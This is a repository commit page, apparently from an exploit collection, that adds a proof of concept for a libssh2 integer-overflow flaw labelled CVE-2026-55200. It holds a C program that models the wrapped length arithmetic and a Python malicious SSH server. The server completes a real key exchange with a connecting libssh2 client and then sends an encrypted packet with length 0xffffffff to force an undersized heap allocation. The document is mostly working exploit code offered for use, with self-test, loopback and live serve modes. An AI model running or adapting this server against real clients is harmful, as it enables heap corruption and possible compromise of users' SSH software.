bikini_mirror/EXPLOITARIUM
1
6
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Upload files to "libssh2-cve-2026-55200-poc/poc"

Browse Source
This commit is contained in:
Church of Malware
2026-06-29 16:47:45 +00:00
parent 324d668cf0
commit 0ca371a2e5
4 changed files with 1240 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
libssh2-cve-2026-55200-poc/poc/cve_2026_55200_probe.c
+358
View File
@@ -0,0 +1,358 @@
#include <errno.h>
#include <inttypes.h>
#include <limits.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LIBSSH2_PACKET_MAXPAYLOAD 35000u
enum {
POC_OK = 0,
POC_ERROR_DECRYPT = -1,
POC_ERROR_OUT_OF_BOUNDARY = -2
};
struct calc_result {
uint32_t packet_length;
uint32_t total32;
uint64_t mathematical_total;
size_t native_total;
size_t allocation_length;
int rc;
};
static const char *rc_name(int rc)
{
switch(rc) {
case POC_OK:
return "accepted";
case POC_ERROR_DECRYPT:
return "rejected: packet_length < 1";
case POC_ERROR_OUT_OF_BOUNDARY:
return "rejected: out of boundary";
default:
return "rejected: unknown error";
}
}
static int parse_u32(const char *text, uint32_t *out)
{
char *end = NULL;
unsigned long long parsed;
errno = 0;
parsed = strtoull(text, &end, 0);
if(errno || !end || *end != '\0' || parsed > UINT32_MAX) {
return -1;
}
*out = (uint32_t)parsed;
return 0;
}
static void clear_result(struct calc_result *r, uint32_t packet_length,
uint32_t mac_len, uint32_t auth_len)
{
memset(r, 0, sizeof(*r));
r->packet_length = packet_length;
r->mathematical_total = 4ull + packet_length + mac_len + auth_len;
}
static int vulnerable32(uint32_t packet_length, uint32_t mac_len,
uint32_t auth_len, struct calc_result *r)
{
uint32_t total = 4u;
clear_result(r, packet_length, mac_len, auth_len);
if(packet_length < 1u) {
r->rc = POC_ERROR_DECRYPT;
return r->rc;
}
total += packet_length + mac_len + auth_len;
r->total32 = total;
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
return r->rc;
}
r->allocation_length = (size_t)total;
r->rc = POC_OK;
return r->rc;
}
static int fixed32(uint32_t packet_length, uint32_t mac_len,
uint32_t auth_len, struct calc_result *r)
{
uint32_t total = 4u;
clear_result(r, packet_length, mac_len, auth_len);
if(packet_length < 1u) {
r->rc = POC_ERROR_DECRYPT;
return r->rc;
}
if(packet_length > LIBSSH2_PACKET_MAXPAYLOAD) {
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
return r->rc;
}
total += packet_length + mac_len + auth_len;
r->total32 = total;
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
return r->rc;
}
r->allocation_length = (size_t)total;
r->rc = POC_OK;
return r->rc;
}
static int native_unpatched(uint32_t packet_length, uint32_t mac_len,
uint32_t auth_len, struct calc_result *r)
{
size_t total = 4u;
clear_result(r, packet_length, mac_len, auth_len);
if(packet_length < 1u) {
r->rc = POC_ERROR_DECRYPT;
return r->rc;
}
total += packet_length + mac_len + auth_len;
r->native_total = total;
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
return r->rc;
}
r->allocation_length = total;
r->rc = POC_OK;
return r->rc;
}
static int native_fixed(uint32_t packet_length, uint32_t mac_len,
uint32_t auth_len, struct calc_result *r)
{
size_t total = 4u;
clear_result(r, packet_length, mac_len, auth_len);
if(packet_length < 1u) {
r->rc = POC_ERROR_DECRYPT;
return r->rc;
}
if(packet_length > LIBSSH2_PACKET_MAXPAYLOAD) {
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
return r->rc;
}
total += packet_length + mac_len + auth_len;
r->native_total = total;
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
return r->rc;
}
r->allocation_length = total;
r->rc = POC_OK;
return r->rc;
}
static uint64_t fullpacket_style_length(uint32_t packet_length)
{
if(packet_length == 0u) {
return 0u;
}
return (uint64_t)(packet_length - 1u);
}
static int run_benign(uint32_t packet_length, uint32_t mac_len,
uint32_t auth_len)
{
struct calc_result vulnerable;
struct calc_result fixed;
struct calc_result native;
uint64_t copy_len;
uint64_t gap = 0u;
int pass;
vulnerable32(packet_length, mac_len, auth_len, &vulnerable);
fixed32(packet_length, mac_len, auth_len, &fixed);
native_unpatched(packet_length, mac_len, auth_len, &native);
copy_len = fullpacket_style_length(packet_length);
if(vulnerable.rc == POC_OK && copy_len > vulnerable.allocation_length) {
gap = copy_len - (uint64_t)vulnerable.allocation_length;
}
pass = vulnerable.rc == POC_OK &&
vulnerable.allocation_length == (size_t)(uint32_t)vulnerable.mathematical_total &&
vulnerable.packet_length > LIBSSH2_PACKET_MAXPAYLOAD &&
copy_len > vulnerable.allocation_length &&
fixed.rc == POC_ERROR_OUT_OF_BOUNDARY;
printf("benign CVE-2026-55200 proof\n");
printf("build_size_t_bytes=%zu\n", sizeof(size_t));
printf("build_size_t_bits=%zu\n", sizeof(size_t) * (size_t)CHAR_BIT);
printf("packet_length=0x%08" PRIx32 " (%" PRIu32 ")\n",
packet_length, packet_length);
printf("mac_len=%" PRIu32 "\n", mac_len);
printf("auth_len=%" PRIu32 "\n", auth_len);
printf("mathematical_total=%" PRIu64 "\n",
vulnerable.mathematical_total);
printf("vulnerable32_decision=%s\n", rc_name(vulnerable.rc));
printf("vulnerable32_total=%" PRIu32 "\n", vulnerable.total32);
printf("vulnerable32_allocation=%zu\n", vulnerable.allocation_length);
printf("fullpacket_style_length=%" PRIu64 "\n", copy_len);
printf("allocation_gap=%" PRIu64 "\n", gap);
printf("fixed32_decision=%s\n", rc_name(fixed.rc));
printf("native_unpatched_decision=%s\n", rc_name(native.rc));
printf("native_unpatched_total=%zu\n", native.native_total);
if(native.rc == POC_OK && sizeof(size_t) >= 8u) {
printf("native_note=source-shaped integer expression wraps before assignment into 64-bit size_t\n");
}
else if(sizeof(size_t) >= 8u && native.rc == POC_ERROR_OUT_OF_BOUNDARY) {
printf("native_note=64-bit native arithmetic rejects when each operand is widened before addition\n");
}
else if(sizeof(size_t) < 8u && native.rc == POC_OK) {
printf("native_note=32-bit native arithmetic reaches the wrapped allocation state\n");
}
printf("result=%s\n", pass ? "PASS" : "FAIL");
return pass ? 0 : 1;
}
static int run_native(uint32_t packet_length, uint32_t mac_len,
uint32_t auth_len)
{
struct calc_result unpatched;
struct calc_result fixed;
native_unpatched(packet_length, mac_len, auth_len, &unpatched);
native_fixed(packet_length, mac_len, auth_len, &fixed);
printf("native-size_t check\n");
printf("build_size_t_bytes=%zu\n", sizeof(size_t));
printf("build_size_t_bits=%zu\n", sizeof(size_t) * (size_t)CHAR_BIT);
printf("unpatched_decision=%s\n", rc_name(unpatched.rc));
printf("unpatched_total=%zu\n", unpatched.native_total);
printf("unpatched_allocation=%zu\n", unpatched.allocation_length);
printf("fixed_decision=%s\n", rc_name(fixed.rc));
printf("fixed_total=%zu\n", fixed.native_total);
printf("fixed_allocation=%zu\n", fixed.allocation_length);
return 0;
}
static int run_check(uint32_t packet_length, uint32_t mac_len,
uint32_t auth_len)
{
struct calc_result vulnerable;
struct calc_result fixed;
struct calc_result native;
vulnerable32(packet_length, mac_len, auth_len, &vulnerable);
fixed32(packet_length, mac_len, auth_len, &fixed);
native_unpatched(packet_length, mac_len, auth_len, &native);
printf("detailed CVE-2026-55200 arithmetic check\n");
printf("build_size_t_bytes=%zu\n", sizeof(size_t));
printf("build_size_t_bits=%zu\n", sizeof(size_t) * (size_t)CHAR_BIT);
printf("packet_length=0x%08" PRIx32 " (%" PRIu32 ")\n",
packet_length, packet_length);
printf("mac_len=%" PRIu32 "\n", mac_len);
printf("auth_len=%" PRIu32 "\n", auth_len);
printf("mathematical_total=%" PRIu64 "\n",
vulnerable.mathematical_total);
printf("vulnerable32_total=%" PRIu32 "\n", vulnerable.total32);
printf("vulnerable32_decision=%s\n", rc_name(vulnerable.rc));
printf("vulnerable32_allocation=%zu\n", vulnerable.allocation_length);
printf("fullpacket_style_length=%" PRIu64 "\n",
fullpacket_style_length(packet_length));
printf("fixed32_decision=%s\n", rc_name(fixed.rc));
printf("native_unpatched_decision=%s\n", rc_name(native.rc));
printf("native_unpatched_total=%zu\n", native.native_total);
return 0;
}
static void usage(const char *argv0)
{
printf("usage: %s [--benign|--check|--native] [options]\n", argv0);
printf("default mode: --benign\n");
printf("options:\n");
printf(" --packet-length N default 0xffffffff\n");
printf(" --mac-len N default 0\n");
printf(" --auth-len N default 16\n");
}
int main(int argc, char **argv)
{
enum {
MODE_BENIGN,
MODE_CHECK,
MODE_NATIVE
} mode = MODE_BENIGN;
uint32_t packet_length = UINT32_MAX;
uint32_t mac_len = 0u;
uint32_t auth_len = 16u;
int i;
for(i = 1; i < argc; i++) {
if(strcmp(argv[i], "--benign") == 0) {
mode = MODE_BENIGN;
}
else if(strcmp(argv[i], "--check") == 0) {
mode = MODE_CHECK;
}
else if(strcmp(argv[i], "--native") == 0) {
mode = MODE_NATIVE;
}
else if(strcmp(argv[i], "--packet-length") == 0 && i + 1 < argc) {
if(parse_u32(argv[++i], &packet_length)) {
fprintf(stderr, "invalid --packet-length value\n");
return 2;
}
}
else if(strcmp(argv[i], "--mac-len") == 0 && i + 1 < argc) {
if(parse_u32(argv[++i], &mac_len)) {
fprintf(stderr, "invalid --mac-len value\n");
return 2;
}
}
else if(strcmp(argv[i], "--auth-len") == 0 && i + 1 < argc) {
if(parse_u32(argv[++i], &auth_len)) {
fprintf(stderr, "invalid --auth-len value\n");
return 2;
}
}
else if(strcmp(argv[i], "--help") == 0 || strcmp(argv[i], "-h") == 0) {
usage(argv[0]);
return 0;
}
else {
usage(argv[0]);
return 2;
}
}
if(mode == MODE_BENIGN) {
return run_benign(packet_length, mac_len, auth_len);
}
if(mode == MODE_NATIVE) {
return run_native(packet_length, mac_len, auth_len);
}
return run_check(packet_length, mac_len, auth_len);
}
libssh2-cve-2026-55200-poc/poc/libpwn_cve_2026_55200_server.py
+633
View File
@@ -0,0 +1,633 @@
#!/usr/bin/env python3
import argparse
import hashlib
import os
import queue
import socket
import struct
import sys
import threading
import time
import traceback
from dataclasses import dataclass
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa, x25519
HOST = ""
PORT = 0
SERVER_IDENT = b"SSH-2.0-libpwn-cve-2026-55200"
LIBSSH2_PACKET_MAXPAYLOAD = 35000
DEFAULT_PACKET_LENGTH = 0xFFFFFFFF
DEFAULT_AUTH_LEN = 16
DEFAULT_MAC_LEN = 0
CLIENT_IDENT = b"SSH-2.0-libpwn-local-libssh2-mock"
KEX_ALGORITHMS = [
"curve25519-sha256",
"curve25519-sha256@libssh.org",
]
HOSTKEY_ALGORITHMS = [
"rsa-sha2-256",
"ssh-rsa",
]
CIPHER_ALGORITHMS = [
"chacha20-poly1305@openssh.com",
]
MAC_ALGORITHMS = [
"hmac-sha2-256",
"hmac-sha1",
]
COMP_ALGORITHMS = [
"none",
]
def u32(value):
return struct.pack(">I", value & 0xFFFFFFFF)
def read_exact(sock, size):
out = bytearray()
while len(out) < size:
chunk = sock.recv(size - len(out))
if not chunk:
raise EOFError("connection closed while reading")
out += chunk
return bytes(out)
def ssh_string(data):
if isinstance(data, str):
data = data.encode()
return u32(len(data)) + data
def ssh_name_list(items):
return ssh_string(",".join(items).encode())
def mpint_bytes(value):
if value == 0:
return b""
raw = value.to_bytes((value.bit_length() + 7) // 8, "big")
if raw[0] & 0x80:
raw = b"\x00" + raw
return raw
def ssh_mpint(value):
return ssh_string(mpint_bytes(value))
def read_ssh_string(buf, offset):
if offset + 4 > len(buf):
raise ValueError("short SSH string length")
size = struct.unpack(">I", buf[offset:offset + 4])[0]
offset += 4
if offset + size > len(buf):
raise ValueError("short SSH string body")
return buf[offset:offset + size], offset + size
def split_namelist(raw):
if not raw:
return []
return raw.decode(errors="strict").split(",")
def first_match(client_items, server_items, label):
for item in client_items:
if item in server_items:
return item
raise RuntimeError(f"client did not offer required {label}; got {client_items!r}")
def build_plain_packet(payload, block_size=8):
padding_len = (-(len(payload) + 5)) % block_size
if padding_len < 4:
padding_len += block_size
packet_length = len(payload) + 1 + padding_len
return u32(packet_length) + bytes([padding_len]) + payload + os.urandom(padding_len)
def parse_plain_packet(packet):
if len(packet) < 5:
raise ValueError("plain packet too short")
packet_length = struct.unpack(">I", packet[:4])[0]
padding_len = packet[4]
if packet_length + 4 != len(packet):
raise ValueError("packet length mismatch")
if padding_len + 1 > packet_length:
raise ValueError("invalid padding length")
return packet[5:4 + packet_length - padding_len]
def read_plain_packet(sock, max_packet=1024 * 1024):
packet_length = struct.unpack(">I", read_exact(sock, 4))[0]
if packet_length < 1 or packet_length > max_packet:
raise ValueError(f"refusing plain packet_length={packet_length}")
body = read_exact(sock, packet_length)
return parse_plain_packet(u32(packet_length) + body)
def send_plain_packet(sock, payload):
sock.sendall(build_plain_packet(payload))
def read_ident(sock):
buf = bytearray()
while True:
ch = read_exact(sock, 1)
if ch == b"\n":
line = bytes(buf).rstrip(b"\r")
if line.startswith(b"SSH-"):
return line
buf.clear()
continue
buf += ch
if len(buf) > 4096:
raise ValueError("SSH banner line too long")
def build_kexinit_payload():
payload = bytearray()
payload.append(20)
payload += os.urandom(16)
payload += ssh_name_list(KEX_ALGORITHMS)
payload += ssh_name_list(HOSTKEY_ALGORITHMS)
payload += ssh_name_list(CIPHER_ALGORITHMS)
payload += ssh_name_list(CIPHER_ALGORITHMS)
payload += ssh_name_list(MAC_ALGORITHMS)
payload += ssh_name_list(MAC_ALGORITHMS)
payload += ssh_name_list(COMP_ALGORITHMS)
payload += ssh_name_list(COMP_ALGORITHMS)
payload += ssh_string(b"")
payload += ssh_string(b"")
payload += b"\x00"
payload += u32(0)
return bytes(payload)
def parse_kexinit_payload(payload):
if not payload or payload[0] != 20:
raise ValueError("expected SSH_MSG_KEXINIT")
offset = 17
names = []
for _ in range(10):
raw, offset = read_ssh_string(payload, offset)
names.append(split_namelist(raw))
return {
"kex": names[0],
"hostkey": names[1],
"c2s_cipher": names[2],
"s2c_cipher": names[3],
"c2s_mac": names[4],
"s2c_mac": names[5],
"c2s_comp": names[6],
"s2c_comp": names[7],
}
def rsa_public_blob(private_key, algorithm):
numbers = private_key.public_key().public_numbers()
return (
ssh_string(algorithm)
+ ssh_string(mpint_bytes(numbers.e))
+ ssh_string(mpint_bytes(numbers.n))
)
def sign_exchange_hash(private_key, hostkey_algorithm, exchange_hash):
if hostkey_algorithm == "rsa-sha2-256":
digest = hashes.SHA256()
elif hostkey_algorithm == "ssh-rsa":
digest = hashes.SHA1()
else:
raise ValueError(f"unsupported hostkey signature algorithm {hostkey_algorithm}")
sig = private_key.sign(exchange_hash, padding.PKCS1v15(), digest)
return ssh_string(hostkey_algorithm) + ssh_string(sig)
def exchange_hash(client_ident, server_ident, client_kexinit, server_kexinit,
hostkey_blob, client_pub, server_pub, shared_int):
h = bytearray()
h += ssh_string(client_ident)
h += ssh_string(server_ident)
h += ssh_string(client_kexinit)
h += ssh_string(server_kexinit)
h += ssh_string(hostkey_blob)
h += ssh_string(client_pub)
h += ssh_string(server_pub)
h += ssh_mpint(shared_int)
return hashlib.sha256(bytes(h)).digest()
def derive_key(shared_int, exchange_hash_value, session_id, letter, length):
seed = ssh_mpint(shared_int) + exchange_hash_value + letter + session_id
out = hashlib.sha256(seed).digest()
while len(out) < length:
out += hashlib.sha256(ssh_mpint(shared_int) + exchange_hash_value + out).digest()
return out[:length]
def rotl32(value, shift):
return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))
def quarter_round(state, a, b, c, d):
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] = rotl32(state[d] ^ state[a], 16)
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] = rotl32(state[b] ^ state[c], 12)
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] = rotl32(state[d] ^ state[a], 8)
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] = rotl32(state[b] ^ state[c], 7)
def chacha20_block(key, counter, nonce8):
constants = b"expand 32-byte k"
state = [
int.from_bytes(constants[i:i + 4], "little") for i in range(0, 16, 4)
]
state += [
int.from_bytes(key[i:i + 4], "little") for i in range(0, 32, 4)
]
state += [
counter & 0xFFFFFFFF,
(counter >> 32) & 0xFFFFFFFF,
int.from_bytes(nonce8[:4], "little"),
int.from_bytes(nonce8[4:], "little"),
]
working = state[:]
for _ in range(10):
quarter_round(working, 0, 4, 8, 12)
quarter_round(working, 1, 5, 9, 13)
quarter_round(working, 2, 6, 10, 14)
quarter_round(working, 3, 7, 11, 15)
quarter_round(working, 0, 5, 10, 15)
quarter_round(working, 1, 6, 11, 12)
quarter_round(working, 2, 7, 8, 13)
quarter_round(working, 3, 4, 9, 14)
return b"".join(
((working[i] + state[i]) & 0xFFFFFFFF).to_bytes(4, "little")
for i in range(16)
)
def chacha20_xor(key, counter, nonce8, data):
out = bytearray()
block_counter = counter
for offset in range(0, len(data), 64):
stream = chacha20_block(key, block_counter, nonce8)
chunk = data[offset:offset + 64]
out += bytes(a ^ b for a, b in zip(chunk, stream))
block_counter = (block_counter + 1) & 0xFFFFFFFFFFFFFFFF
return bytes(out)
def poly1305_mac(message, key):
r = int.from_bytes(key[:16], "little")
r &= 0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF
s = int.from_bytes(key[16:], "little")
p = (1 << 130) - 5
acc = 0
for offset in range(0, len(message), 16):
block = message[offset:offset + 16]
n = int.from_bytes(block + b"\x01", "little")
acc = ((acc + n) * r) % p
return ((acc + s) & ((1 << 128) - 1)).to_bytes(16, "little")
def chachapoly_encrypt(key64, seqno, plaintext_without_tag):
if len(key64) != 64:
raise ValueError("chacha20-poly1305@openssh.com requires a 64-byte key")
if len(plaintext_without_tag) < 4:
raise ValueError("packet needs a 4-byte SSH packet_length")
seq = seqno.to_bytes(8, "big")
main_key = key64[:32]
header_key = key64[32:]
encrypted_len = chacha20_xor(header_key, 0, seq, plaintext_without_tag[:4])
encrypted_body = chacha20_xor(main_key, 1, seq, plaintext_without_tag[4:])
encrypted = encrypted_len + encrypted_body
poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32]
return encrypted + poly1305_mac(encrypted, poly_key)
def chachapoly_decrypt(key64, seqno, encrypted_with_tag):
if len(encrypted_with_tag) < 20:
raise ValueError("encrypted packet too short")
seq = seqno.to_bytes(8, "big")
main_key = key64[:32]
header_key = key64[32:]
encrypted = encrypted_with_tag[:-16]
tag = encrypted_with_tag[-16:]
poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32]
expected = poly1305_mac(encrypted, poly_key)
if expected != tag:
raise ValueError("poly1305 tag mismatch")
packet_len = chacha20_xor(header_key, 0, seq, encrypted[:4])
body = chacha20_xor(main_key, 1, seq, encrypted[4:])
return packet_len + body
def build_malformed_plain(packet_length, body_len):
if body_len < 1:
raise ValueError("body_len must be at least 1 so padding_length exists")
return u32(packet_length) + bytes([4]) + b"A" * (body_len - 1)
def build_malformed_wire(key64, seqno, packet_length, body_len, filler_len):
plain = build_malformed_plain(packet_length, body_len)
return chachapoly_encrypt(key64, seqno, plain) + (b"B" * filler_len)
@dataclass
class ArithmeticResult:
accepted: bool
total32: int
allocation: int
fixed_rejects: bool
fullpacket_copy_len: int
gap: int
def model_vulnerable_c_expression(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN):
rhs32 = (packet_length + mac_len + auth_len) & 0xFFFFFFFF
total32 = (4 + rhs32) & 0xFFFFFFFF
accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD
fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD
copy_len = (packet_length - 1) & 0xFFFFFFFF
gap = copy_len - total32 if accepted and copy_len > total32 else 0
return ArithmeticResult(accepted, total32, total32 if accepted else 0,
fixed_rejects, copy_len, gap)
def model_vulnerable32(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN):
total32 = (4 + packet_length + mac_len + auth_len) & 0xFFFFFFFF
accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD
fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD
copy_len = (packet_length - 1) & 0xFFFFFFFF
gap = copy_len - total32 if accepted and copy_len > total32 else 0
return ArithmeticResult(accepted, total32, total32 if accepted else 0,
fixed_rejects, copy_len, gap)
class MiniSSHExploitServer:
def __init__(self, args):
self.args = args
self.host_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
def serve_once(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((self.args.listen_host, self.args.listen_port))
listener.listen(1)
actual_host, actual_port = listener.getsockname()
print(f"[+] listening on {actual_host}:{actual_port}")
conn, addr = listener.accept()
with conn:
conn.settimeout(self.args.timeout)
print(f"[+] client connected from {addr[0]}:{addr[1]}")
self.handle_client(conn)
def handle_client(self, conn):
seq_out = 0
seq_in = 0
conn.sendall(SERVER_IDENT + b"\r\n")
client_ident = read_ident(conn)
print(f"[+] client ident: {client_ident.decode(errors='replace')}")
client_kexinit = read_plain_packet(conn)
seq_in += 1
client_lists = parse_kexinit_payload(client_kexinit)
chosen_kex = first_match(client_lists["kex"], KEX_ALGORITHMS, "kex")
chosen_hostkey = first_match(client_lists["hostkey"], HOSTKEY_ALGORITHMS, "hostkey")
first_match(client_lists["s2c_cipher"], CIPHER_ALGORITHMS, "server-to-client cipher")
first_match(client_lists["c2s_cipher"], CIPHER_ALGORITHMS, "client-to-server cipher")
first_match(client_lists["s2c_mac"], MAC_ALGORITHMS, "server-to-client mac")
first_match(client_lists["c2s_mac"], MAC_ALGORITHMS, "client-to-server mac")
first_match(client_lists["s2c_comp"], COMP_ALGORITHMS, "server-to-client compression")
first_match(client_lists["c2s_comp"], COMP_ALGORITHMS, "client-to-server compression")
print(f"[+] negotiated {chosen_kex} / {chosen_hostkey} / chacha20-poly1305@openssh.com")
server_kexinit = build_kexinit_payload()
send_plain_packet(conn, server_kexinit)
seq_out += 1
init_payload = read_plain_packet(conn)
seq_in += 1
if not init_payload or init_payload[0] != 30:
raise RuntimeError(f"expected SSH_MSG_KEX_ECDH_INIT, got {init_payload[:1]!r}")
client_pub, offset = read_ssh_string(init_payload, 1)
if offset != len(init_payload) or len(client_pub) != 32:
raise RuntimeError("invalid curve25519 client public key")
server_private = x25519.X25519PrivateKey.generate()
server_pub = server_private.public_key().public_bytes(
serialization.Encoding.Raw,
serialization.PublicFormat.Raw,
)
shared = server_private.exchange(x25519.X25519PublicKey.from_public_bytes(client_pub))
if shared == b"\x00" * 32:
raise RuntimeError("invalid all-zero curve25519 shared secret")
shared_int = int.from_bytes(shared, "big")
hostkey_blob = rsa_public_blob(self.host_key, chosen_hostkey)
h = exchange_hash(client_ident, SERVER_IDENT, client_kexinit, server_kexinit,
hostkey_blob, client_pub, server_pub, shared_int)
session_id = h
signature = sign_exchange_hash(self.host_key, chosen_hostkey, h)
reply = b"\x1f" + ssh_string(hostkey_blob) + ssh_string(server_pub) + ssh_string(signature)
send_plain_packet(conn, reply)
seq_out += 1
send_plain_packet(conn, b"\x15")
seq_out += 1
print("[+] sent SSH_MSG_NEWKEYS")
try:
newkeys = read_plain_packet(conn)
seq_in += 1
if newkeys != b"\x15":
print(f"[!] expected client NEWKEYS, got {newkeys[:1]!r}; continuing")
else:
print("[+] received client SSH_MSG_NEWKEYS")
except Exception as exc:
print(f"[!] did not read client NEWKEYS before trigger: {exc}")
key_s2c = derive_key(shared_int, h, session_id, b"D", 64)
trigger_seq = seq_out
wire = build_malformed_wire(
key_s2c,
trigger_seq,
self.args.packet_length,
self.args.body_len,
self.args.filler_len,
)
conn.sendall(wire)
print(f"[+] sent malformed chacha/poly1305 trigger at server seq={trigger_seq}")
print(f"[+] trigger bytes={len(wire)} packet_length=0x{self.args.packet_length:08x}")
time.sleep(self.args.hold_open)
def self_test(args):
key = bytes(range(64))
seqno = 3
wire = build_malformed_wire(key, seqno, args.packet_length, args.body_len, args.filler_len)
encrypted_part = wire[:-args.filler_len] if args.filler_len else wire
decrypted = chachapoly_decrypt(key, seqno, encrypted_part)
decoded_len = struct.unpack(">I", decrypted[:4])[0]
arith = model_vulnerable_c_expression(args.packet_length, DEFAULT_MAC_LEN, DEFAULT_AUTH_LEN)
print("[self-test] chacha20-poly1305@openssh.com packet generator")
print(f"packet_length=0x{decoded_len:08x} ({decoded_len})")
print(f"encrypted_fragment_len={len(encrypted_part)}")
print(f"filler_len={args.filler_len}")
print(f"body_len={args.body_len}")
print(f"vulnerable_c_expression_accepted={arith.accepted}")
print(f"vulnerable_c_expression_allocation={arith.allocation}")
print(f"fixed_rejects={arith.fixed_rejects}")
print(f"fullpacket_style_length={arith.fullpacket_copy_len}")
print(f"allocation_gap={arith.gap}")
if decoded_len != args.packet_length:
raise SystemExit("[self-test] FAIL: decrypted packet_length mismatch")
if not arith.accepted or arith.allocation != 19:
raise SystemExit("[self-test] FAIL: arithmetic did not reach wrapped allocation=19")
if not arith.fixed_rejects:
raise SystemExit("[self-test] FAIL: fixed model did not reject oversized length")
print("[self-test] PASS")
def loopback_client(client_sock, args):
client_sock.settimeout(args.timeout)
server_ident = read_ident(client_sock)
if server_ident != SERVER_IDENT:
raise RuntimeError(f"unexpected server ident {server_ident!r}")
client_sock.sendall(CLIENT_IDENT + b"\r\n")
client_kexinit = build_kexinit_payload()
send_plain_packet(client_sock, client_kexinit)
server_kexinit = read_plain_packet(client_sock)
server_lists = parse_kexinit_payload(server_kexinit)
first_match(server_lists["kex"], KEX_ALGORITHMS, "server kex")
first_match(server_lists["hostkey"], HOSTKEY_ALGORITHMS, "server hostkey")
first_match(server_lists["s2c_cipher"], CIPHER_ALGORITHMS, "server cipher")
client_private = x25519.X25519PrivateKey.generate()
client_pub = client_private.public_key().public_bytes(
serialization.Encoding.Raw,
serialization.PublicFormat.Raw,
)
send_plain_packet(client_sock, b"\x1e" + ssh_string(client_pub))
reply = read_plain_packet(client_sock)
if not reply or reply[0] != 31:
raise RuntimeError(f"expected SSH_MSG_KEX_ECDH_REPLY, got {reply[:1]!r}")
hostkey_blob, offset = read_ssh_string(reply, 1)
server_pub, offset = read_ssh_string(reply, offset)
_signature, offset = read_ssh_string(reply, offset)
if offset != len(reply):
raise RuntimeError("trailing data in KEX_ECDH_REPLY")
shared = client_private.exchange(x25519.X25519PublicKey.from_public_bytes(server_pub))
shared_int = int.from_bytes(shared, "big")
h = exchange_hash(CLIENT_IDENT, SERVER_IDENT, client_kexinit, server_kexinit,
hostkey_blob, client_pub, server_pub, shared_int)
key_s2c = derive_key(shared_int, h, h, b"D", 64)
newkeys = read_plain_packet(client_sock)
if newkeys != b"\x15":
raise RuntimeError(f"expected server NEWKEYS, got {newkeys[:1]!r}")
send_plain_packet(client_sock, b"\x15")
encrypted_len = 4 + args.body_len + 16
encrypted = read_exact(client_sock, encrypted_len)
if args.filler_len:
read_exact(client_sock, args.filler_len)
decrypted = chachapoly_decrypt(key_s2c, 3, encrypted)
decoded_len = struct.unpack(">I", decrypted[:4])[0]
if decoded_len != args.packet_length:
raise RuntimeError("loopback decrypted packet_length mismatch")
return decoded_len, encrypted_len
def loopback_test(args):
left, right = socket.socketpair()
result_queue = queue.Queue()
def server_thread():
try:
with left:
left.settimeout(args.timeout)
MiniSSHExploitServer(args).handle_client(left)
result_queue.put(None)
except Exception as exc:
result_queue.put(exc)
thread = threading.Thread(target=server_thread, daemon=True)
thread.start()
try:
with right:
decoded_len, encrypted_len = loopback_client(right, args)
finally:
thread.join(args.timeout + args.hold_open + 1)
if thread.is_alive():
raise SystemExit("[loopback-test] FAIL: server thread did not exit")
server_error = result_queue.get_nowait()
if server_error is not None:
raise server_error
print("[loopback-test] minimal SSH handshake/key-derivation path")
print(f"decrypted_trigger_packet_length=0x{decoded_len:08x} ({decoded_len})")
print(f"encrypted_trigger_fragment_len={encrypted_len}")
print("[loopback-test] PASS")
def main():
parser = argparse.ArgumentParser(
description="Minimal malicious SSH server/trigger for HTB-style libssh2 CVE-2026-55200 testing."
)
parser.add_argument("--self-test", action="store_true", help="verify local packet crypto and CVE arithmetic")
parser.add_argument("--loopback-test", action="store_true", help="verify the local SSH handshake and encrypted trigger path")
parser.add_argument("--serve", action="store_true", help="listen for one libssh2 client and send the trigger")
parser.add_argument("--listen-host", default=HOST, help="listen IP/interface, e.g. 0.0.0.0")
parser.add_argument("--listen-port", type=int, default=PORT, help="listen port, e.g. 2222")
parser.add_argument("--packet-length", type=lambda x: int(x, 0), default=DEFAULT_PACKET_LENGTH)
parser.add_argument("--body-len", type=int, default=8, help="truncated encrypted body length after the 4-byte length field")
parser.add_argument("--filler-len", type=int, default=64, help="extra bytes after the valid encrypted fragment/tag")
parser.add_argument("--timeout", type=float, default=10.0)
parser.add_argument("--hold-open", type=float, default=1.0)
args = parser.parse_args()
if args.self_test:
self_test(args)
return
if args.loopback_test:
loopback_test(args)
return
if args.serve:
if not args.listen_host or not args.listen_port:
raise SystemExit("set --listen-host and --listen-port; the HOST/PORT section is intentionally open")
MiniSSHExploitServer(args).serve_once()
return
parser.print_help()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
raise
except Exception:
traceback.print_exc()
sys.exit(1)
